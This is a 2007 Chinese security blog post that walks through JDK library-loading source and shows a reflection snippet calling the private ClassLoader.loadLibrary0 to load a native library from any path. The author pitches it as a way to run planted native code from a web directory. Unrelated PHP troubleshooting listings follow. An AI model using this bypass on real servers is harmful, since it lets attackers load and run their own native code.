0day-java load dynamic library from any path(java加载任意目录库文件)

原创 2007年10月10日 22:17:00

TEAM : I.S.T.O
AUTHOR : kj021320
转载需注明作者,未经作者同意,不得用于任何形式的商业活动

    通常我们采用JAVASE API的局限性太大!例如只提供TCP/UDP以上的协议封装 不能获取更多硬件设备信息,对不同系统的特性访问(如win的注册表)等
为了摆脱这些,SUN-JAVA提供了  类跟本地系统的另一种桥梁 JNI(java native interface)中文就是JAVA本地接口,在WIN系统上面就是采用DLL文件而*nix就是SO文件
而编写好特定的 DLL/SO 文件以后我们需要通过 System.loadLibrary 对文件进行加载 而且官方也是这样说 必须确保库文件的位置在类路径中,从而确保 JVM 可以访问该库文件
对 System.loadLibrary 方法进行审核后,发现没对路径进行过滤,可以加载任意目录的库文件~而对于JAVA-WEB安全来说,这个问题更有利用价值!
库文件不需要放在容器的类路径而加载,因为一般安全的网站,容器的类路径目录都是只读,只有WEB目录可写...

现在JAVA类路径在 f:/kj021320/jproject/ 下 而且有
kj021320.class #类 含有本地方法 有静态代码域
public static native String getISTO();
static{
 System.loadLibrary("../../../kj021320");
}

而我们在 跟目录 f:/ 下有
kj021320.dll #库文件 对kj021320.class 本地方法的实现
同样可以加载动态连接库

下面我们对它的JAVA源代码进行分析研究
首先是System类的 loadLibrary 静态方法发起的 跟踪以下代码

    public static void loadLibrary(String libname) {
 Runtime.getRuntime().loadLibrary0(getCallerClass(), libname);
    }

看此 是调用了 Runtime类的 loadLibrary0 方法~ 把 调用此方法的类名字以及 lib名字传进去,我们再往这个方法进行跟踪
Runtime类的
    synchronized void loadLibrary0(Class fromClass, String libname) {
 SecurityManager security = System.getSecurityManager();
 if (security != null) {
     security.checkLink(libname); //检查是否能调用这个库文件名字
 }
 /*
  重点来了~注意看下面的代码 他对路径进行过滤了!可惜!win系统中
  File.separatorChar 是 /  我们可以用 / 来跳回上一层目录 绕过他的验证
  那*nix 系统呢? 不用急 我们继续往下面看

 */
 if (libname.indexOf((int)File.separatorChar) != -1) {
     throw new UnsatisfiedLinkError("Directory separator should not appear in library name: " + libname);
 }
 //这里又调用了ClassLoader 的loadLibrary方法 我们继续追踪进去
 ClassLoader.loadLibrary(fromClass, libname, false);
    }

ClassLoader类的
 //这里代码有点多
    static void loadLibrary(Class fromClass, String name,boolean isAbsolute) {
 //首先判断我们上面是否有传一个类进来~~  就是 到底是哪个类调用加载 库的方法 就把那个类传进去所以
 //fromClass 大多不会为null

        ClassLoader loader = (fromClass == null) ? null : fromClass.getClassLoader();
 //这里判断 系统的类库路径
        if (sys_paths == null) {
     usr_paths = initializePath("java.library.path");
     sys_paths = initializePath("sun.boot.library.path");
        }
 //判断路径是不是绝对的!要是绝对路径的就直接 new File() 看到了吗?没有对name再次过滤
 //汗~~ 又调用 loadLibrary0 这个方法! 哎!嵌套还真多
        if (isAbsolute) {
     if (loadLibrary0(fromClass, new File(name))) {
         return;
     }
     throw new UnsatisfiedLinkError("Can't load library: " + name);
 }
 if (loader != null) {
     String libfilename = loader.findLibrary(name);
     if (libfilename != null) {
         File libfile = new File(libfilename);
         if (!libfile.isAbsolute()) {
      throw new UnsatisfiedLinkError("ClassLoader.findLibrary failed to return an absolute path: " + libfilename);
  }
  if (loadLibrary0(fromClass, libfile)) {
      return;
  }
  throw new UnsatisfiedLinkError("Can't load " + libfilename);
     }
 }
 //这里是循环遍历类路径  也调用了 loadLibrary0这个方法 我们得再次跟踪进去
 for (int i = 0 ; i < sys_paths.length ; i++) {
     File libfile = new File(sys_paths[i], System.mapLibraryName(name));
     if (loadLibrary0(fromClass, libfile)) {
         return;
     }
 }
 if (loader != null) {
     for (int i = 0 ; i < usr_paths.length ; i++) {
         File libfile = new File(usr_paths[i],System.mapLibraryName(name));
  if (loadLibrary0(fromClass, libfile)) {
      return;
  }
     }
 }
 // Oops, it failed
        throw new UnsatisfiedLinkError("no " + name + " in java.library.path");
    }

//看了以上的代码,很明显了!我们需要再去分析 loadLibrary0这个方法,代码更多了!看来更是重点

    private static boolean loadLibrary0(Class fromClass, final File file) {
 //判断文件是否存在 不存在就退出这个函数返回false
 Boolean exists = (Boolean)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new Boolean(file.exists());}});
 if (!exists.booleanValue()) {
     return false;
 }
 //以下是获取文件的绝对路径
        String name;
 try {
     name = file.getCanonicalPath();
 } catch (IOException e) {
     return false;
 }
 //这句不分析了
        ClassLoader loader =(fromClass == null) ? null : fromClass.getClassLoader();
 //获取  系统本地库的集合
        Vector libs =loader != null ? loader.nativeLibraries : systemNativeLibraries;
 //下面这个同步操作是为了避免同一个库文件在多线程下 加载多次
 synchronized (libs) {
     int size = libs.size();
     for (int i = 0; i < size; i++) {
         NativeLibrary lib = (NativeLibrary)libs.elementAt(i);
  if (name.equals(lib.name)) {
      return true;
  }
     }
     synchronized (loadedLibraryNames) {
         if (loadedLibraryNames.contains(name)) {
      throw new UnsatisfiedLinkError("Native Library " + name + " already loaded in another classloader");
  }
  int n = nativeLibraryContext.size();
  for (int i = 0; i < n; i++) {
      NativeLibrary lib = (NativeLibrary)nativeLibraryContext.elementAt(i);
      if (name.equals(lib.name)) {
          if (loader == lib.fromClass.getClassLoader()) {
       return true;
   } else {
       throw new UnsatisfiedLinkError("Native Library "+name+" is being loaded in another classloader");
   }
      }
  }
  //实例化一个本地库
  NativeLibrary lib = new NativeLibrary(fromClass, name);
  nativeLibraryContext.push(lib);
  try {
  //**************正式加载操作 NativeLibrary的load方法实现***********
      lib.load(name);
  
  } finally {
      nativeLibraryContext.pop();
  }
  if (lib.handle != 0) {
      loadedLibraryNames.addElement(name);
      libs.addElement(lib);
      return true;
  }
  return false;
     }
 }
    }

以上 NativeLibrary 类是ClassLoader类的一个内部类 最终 load方法也是本地实现 具体是JVM内部的!
分析到这里很明显 最终我们可以调用loadLibrary0 这个方法来绕过前面一大堆的验证!OK 但是loadLibrary0 是个private方法
一般直接调用不了!对于熟悉JAVA的开发者来说!这个是小事!我们采用reflect 来破解 他的权限吧!

下面静态代码实现

static
{
 Method llm;
 try {
  //获取私有的方法 loadLibrary0
  llm = ClassLoader.class.getDeclaredMethod("loadLibrary0", new Class[]{Class.class,File.class});
  llm.setAccessible(true);//破解权限
  llm.invoke(null, new Object[]{你自己的类.class,new File("DLL的绝对路径 记得加后缀")});
  /*
  llm.invoke(null, new Object[]{ISTO.class,new File("/isto.so")});
  */
 } catch (Exception e) {
  e.printStackTrace();
 }
}
这样我们就可以在WEB目录上面放库文件 任意加载了

全文完
 

 

0day-java load dynamic library from any path(java加载任意目录库文件)

TEAM : I.S.T.OAUTHOR : kj021320转载需注明作者,未经作者同意,不得用于任何形式的商业活动    通常我们采用JAVASE API的局限性太大!例如只提供TCP/UDP以上...
  • kj021320
  • kj021320
  • 2007-10-10 22:11:00
  • 3056

Java加载dll或so库文件的路径 java.library.path

Java加载库文件的方式
  • daylight_1
  • daylight_1
  • 2017-04-16 23:16:02
  • 5404

Eclipse Dynamic web项目 user library 不能同步到 lib 目录

在使用eclipse做web项目时,为了方便管理jar包,自己建了各种 User Library作为第三方的库引入项目,自己建立 User Library 的步骤:Windows —> Prefere...
  • qq_22063697
  • qq_22063697
  • 2016-07-16 14:46:54
  • 1628

Failed to load Info.plist from bundle at path /.....

报错提示Failed to load Info.plist from bundle at path /……. 我把工程的bundle ID 改了后会报这个错 我测试发现把应用删除, 在运行第一可以,...
  • Baby_come_here
  • Baby_come_here
  • 2016-12-22 20:49:34
  • 4156

windows环境配置XAMMP,报错 PHP Startup: Unable to load dynamic library 'xxxx' 到指定的模块

欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦: Markdown和扩展Markdown简洁的语法 代码块高亮 图片链接和...
  • u014299579
  • u014299579
  • 2017-02-09 10:35:46
  • 2581

Unable to load dynamic library '/usr/lib64/php/modules/protobuf.so' - /usr/lib64/php/modules/protobu

在服务器上执行php 脚本时。会报warning php -v PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/...
  • llnara
  • llnara
  • 2016-11-25 17:50:44
  • 1451

解决PHP startup: Unable to load dynamic library的错误

在 Windows 下安装完 PHP 和 web 服务器之后,可能想要安装一些扩展库来获得更多功能。可以通过修改 php.ini 来选择当 PHP 启动时加载哪些扩展库。也可以在脚本中通过使用 dl(...
  • binger819623
  • binger819623
  • 2009-09-11 22:39:00
  • 7937

如何解决PHP startup: Unable to load dynamic library的错误

转!怪啦!今天的Apache和IIS都没法正确加载php_mysql.dll。google了一下,原来发现出现这个问题的人还不少,PHP startup: Unable to load dynamic...
  • felio
  • felio
  • 2005-06-07 16:25:00
  • 21324

PHP动态库php_mcrypt.dll和php_openssl.dll无法加载的问题

我在winXP底下安装的Apache2.2.2和PHP5.2.6。 每次启动Apache的时候,总是报php_mcrypt.dll和php_openssl.dll两个动态库加载失败的错误,即: ...
  • andybegin
  • andybegin
  • 2012-03-30 18:13:09
  • 1098

PHP Warning: PHP Startup: Unable to load dynamic library \ D:/php5/ext/php_mysqli.dll\-PHPphp技巧

今天在家启动PHP环境的时候,突然发现不能加载php_mysqli.dll了,网上找了一圈,没有解决方案!在群里面受一哥们儿的启发,竟然解决了,如果你的问题还没有解决,请按下面的方法试试 标签:...
  • jaray
  • jaray
  • 2014-06-06 15:44:38
  • 3321
收藏助手
不良信息举报
您举报文章:0day-java load dynamic library from any path(java加载任意目录库文件)
举报原因:
原因补充:

(最多只允许输入30个字)